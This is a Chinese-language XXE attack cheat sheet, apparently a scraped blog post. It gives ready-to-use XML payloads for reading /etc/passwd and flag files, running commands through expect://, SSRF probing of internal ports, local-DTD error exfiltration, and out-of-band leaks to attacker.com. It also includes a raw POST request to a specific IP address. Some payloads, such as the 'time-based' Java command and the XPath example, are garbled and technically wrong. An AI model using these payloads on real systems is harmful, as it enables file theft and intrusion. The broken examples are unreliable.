当前位置: 首页 > news >正文

XXE进阶

<aside> 💡

XXE危害1:读取任意文件

</aside>

XXE基础里面有,分为有回显与无回显两种。

**<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///文件路径" > ]>
<creds>&goodies;</creds>**

POST传输

**POST /parse HTTP/1.1
Host: 47.76.152.109:60088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 146xml=<?xml+version="1.0"?>
<!DOCTYPE+root+[
+<!ELEMENT+root+ANY+>
+<!ENTITY+xxe+SYSTEM+"file:///flag"+>]>
<root><name>%26xxe;</name></root>注意!!!&一定要改成%26**

<aside> 💡

XXE危害2:执行系统命令

</aside>

***注:需要 PHP 开 expect 扩展*<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "expect://whoami" > ]>
<creds>&goodies;</creds>**

<aside> 💡

XXE危害3:内网探测**/ssrf**

</aside>

利用http://协议,也就是可以发起http请求,利用该请求去探查内网,进行SSRF攻击。

**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "<http://127.0.0.1:80/Test/test.txt>" >
]>
<creds>&goodies;
</creds>**
**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "<http://127.0.0.1:81/Test/test.txt>" >
]>
<creds>&goodies;
</creds>**

image.png

<aside> 💡

XXE报错注入

</aside>

1.文件路径泄露

攻击者可能构造一个导致服务器尝试打开不存在文件的实体,从而在错误消息中包含文件路径或其他上下文信息。这种情况下,报错注入的Payload可能是:

**<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///non_existent_path">
]>
<root>&xxe;</root>**

2.DTD(Document Type Definition)错误利用

利用DTD错误,如无限递归或未知实体引用,迫使XML解析器崩溃或返回详细的错误消息,其中可能包含服务器的环境信息。

**<!DOCTYPE test [<!ENTITY % evil SYSTEM "<http://attacker.com/evil.dtd>"><!ENTITY % inner "<!ENTITY % injected SYSTEM 'file:///etc/passwd'>">%evil;%inner;
]>
<root></root>**

3.XPath注入与错误利用

如果服务器使用了可配置的XPath查询,并且在处理XML时对查询结果进行了错误处理,攻击者可以通过构造特殊的XPath表达式导致错误,从而泄露信息。

**<?xml version="1.0"?>
<!DOCTYPE poc [<!ENTITY % ext SYSTEM "file:///etc/passwd"><!ENTITY % xpath '<!ENTITY &#x25; xp "<!ENTITY &#x25; error SYSTEM 'file:///etc/passwd'>">>%xpath;%xp;
]>
<x:xmp xmlns:x="<http://www.w3.org/XML/1998/namespace>"><query><x:select>/root/*[name()='item' and value='bad_value' or substring-after(value,'error')=%error;]</x:select></query>
</x:xmp>**

<aside> 💡

XXE本地DTD攻击

【Apache solr XML 实体注入漏洞复现(CVE-2017-12629)】

</aside>

DTD目录

**//windows
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd**//**Apache 
file:///usr/share/xml/fontconfig/fonts.dtd//ubuntu16.04
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd/usr/share/libgweather/locations.dtd/usr/share/yelp/dtd/docbookx.dtd**

Paload:

**<?xml version="1.0" ?>
<!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"><!ENTITY % condition 'aaa)><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">&#x25;eval;&#x25;error;<!ELEMENT aa (bb'>%local_dtd;
]>**

<aside> 💡

XXE的bypass

</aside>

  1. 禁用实体加载的绕过
    • 有时服务器会禁用XML解析器对外部实体的加载,但可能仍允许内部实体或DTD的解析。攻击者可能通过构造内部实体绕过这一限制,如利用内部实体的递归来消耗服务器资源,实现DoS攻击。
  2. 禁用DTD的绕过
    • 有些服务器禁止了DTD解析,但仍可能允许XML模式(XSD)或架构的解析。攻击者可能利用XML模式中的漏洞来实现XXE攻击。
  3. 带外(OOB, Out-of-Band)信息泄露
    • 当服务器不返回实体内容时,攻击者可以构造实体指向攻击者控制的服务器,利用服务器端的网络行为(如发起请求)来进行信息泄露,而不依赖于服务器的直接响应。
  4. XPath注入
    • 如果服务器使用了XPath查询,并且这些查询基于用户输入,攻击者可能结合XXE和XPath注入,构造恶意查询来获取敏感信息或执行系统命令。
  5. 滥用特性
    • 攻击者可能利用XML解析器的其他特性,如php://input伪协议、XML解析器的解析错误等,来执行攻击。
  6. 利用旧版或有已知漏洞的XML解析器
    • 服务器可能仍在使用老旧版本的XML解析器,这些版本可能包含已知的XXE漏洞,而服务器管理员未能及时更新。

<aside> 💡

XXE的盲注

</aside>

布尔型盲注

**<!DOCTYPE test [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % true "<!ENTITY xxe SYSTEM 'file:///dev/null'>">%true;
]>
<root>&xxe;</root>**

时间的盲注

**<!DOCTYPE test [<!ENTITY % file SYSTEM "java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient <http://attacker.com/> & sleep 5"><!ENTITY % true "<!ENTITY xxe SYSTEM '%file;'>">%true;
]>
<root>&xxe;</root>**
#如果服务器响应时间增加明显,则可能执行了耗时的系统命令。

带外通信(Out-of-Band, OOB)利用

**<!DOCTYPE test [<!ENTITY % file SYSTEM "<http://attacker.com/?data=><data_to_send>">
]>
<root>&file;</root>
#<data_to_send>会被替换为实际要发送的数据,比如从受害服务器中获取的敏感信息。**

攻击者在其自己的服务器上监听,如果接收到请求,则意味着服务器可能受到XXE攻击并执行了外部实体。


http://www.mrgr.cn/news/59782.html

相关文章:

  • 自动发现-实现运维管理自动化
  • 用哪种建站程序做谷歌SEO更容易?
  • 论1+2+3+4+... = -1/12 的不同算法
  • 【深度学习】【OpenVINO】【C++】模型转化、环境搭建以及模型部署的详细教程
  • 【C++刷题】力扣-#496-下一个更大元素 I
  • Tkinter -- python GUI学习与使用
  • 前缀和算法 | 计算分矩阵的和
  • 【Chapter 11】中断时间序列分析:政策变化的因果推断
  • 【Chapter 5】因果推断中的倾向得分和双重稳健估计
  • Sampling采样与Virtual Columns虚拟列
  • 2024年最新Java毕业设计选题题目参考,2000+ Java毕业设计题目,值得收藏
  • 使用Python进行办公楼电能消耗数据的机器学习分析与预测
  • 【Qt】系统相关——多线程、Qt多线程介绍、常用函数、线程安全、网络、UDP Socket、TCP Socket
  • 2024年汽车修理工(高级)证模拟考试题库及汽车修理工(高级)理论考试试题
  • 逆向破解真随机数系统的思路
  • Axure设置文本——元件动作三
  • 算法|牛客网华为机试10-20C++
  • mysql中的视图表
  • 【Python】Python字典深入剖析:哈希映射与常见操作
  • 120.WEB渗透测试-信息收集-ARL(11)
  • 【golang】 lo.Map使用
  • 202.快乐数
  • ts:数组的常用方法(forEach、map)
  • 微服务篇SpringCloud
  • C++——string的模拟实现(下)
  • kubernetes中的ingress-nginx